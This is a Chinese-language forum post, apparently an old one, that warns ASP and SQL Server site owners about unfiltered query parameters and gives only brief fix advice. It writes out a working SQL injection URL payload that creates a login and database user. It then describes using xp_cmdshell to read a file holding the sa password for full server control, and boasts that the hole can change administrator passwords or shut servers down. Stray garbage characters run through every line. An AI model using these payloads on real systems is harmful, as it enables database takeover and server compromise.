为了考证这种类型的程序BUG,笔者最近去了很多用ASP和SQL SERVER做的网站,发现绝大部分网站的程序有这个BUG,于是觉得有必要把这个问题贴出,以免大家犯同样的错误。
* F* o" r X+ F1 w8 f* j BUG描述:
$ n! I' T- i3 `, F 把一个有参数的xxx.asp?x=x程序变成xxx.asp?x=x;use pubs;exec sp_addlogin 'admin','admin','master';exec sp_adduser 'admin','admin','db_ower';--
3 X/ [! F/ T9 |# n' H* @ BUG讲解:: }$ |3 u0 K! m, p* E0 E8 K! t/ W
这个BUG是利用参数未过滤来执行SQL语句增加一个用户,然后可以用此用户连上SQL SERVER,再通过exec xp_cmdshell 'type x.asp'来查看存有sa密码的ASP文件来获得SQL SERVER的最高权限。/ f& [5 E7 a N
BUG消除:
8 K* I. P o% k* S3 U k4 G 程序增加参数过滤
) t. ^' I3 q |' J! x 附:sp_addlogin和sp_adduser语法
" ~( L) Q( w/ w1 x R& Bsp_addlogin [@loginame =] 'login'% w! O9 q" p Y( M
[,][@passwd =] 'password']# ^1 J3 G6 E+ J) K
[,][@defdb =] 'database']
* g" q- T: p% W6 C. [. p: H [,][@deflanguage =] 'language']3 i/ V3 t2 \: H
[,[@sid =] 'sid']& c) x6 M5 o' X
[,][@encryptopt =] 'encryption_option']
+ z4 l7 ~; w6 P6 m, O- U2 [sp_adduser [@loginame =] 'login'( Y6 X. k- D% z; J7 ^- D; z
[,][@name_in_db =] 'user']" S9 a! j# o& D
[,][@grpname =] 'group']( y- O3 X" F* x9 E0 O
注:如果采取SQL SERVER设为本地连接、改变端品号、drop xp_cmdshell等等可以防止很多攻击行为呀 ^_^; D. R& d- h9 ~$ B# W1 e8 q2 y
嘿嘿,这个BUG还可以用来改administrator的密码,让服务器关机等等( H# m) ]# x" T! ~) j5 u1 N
|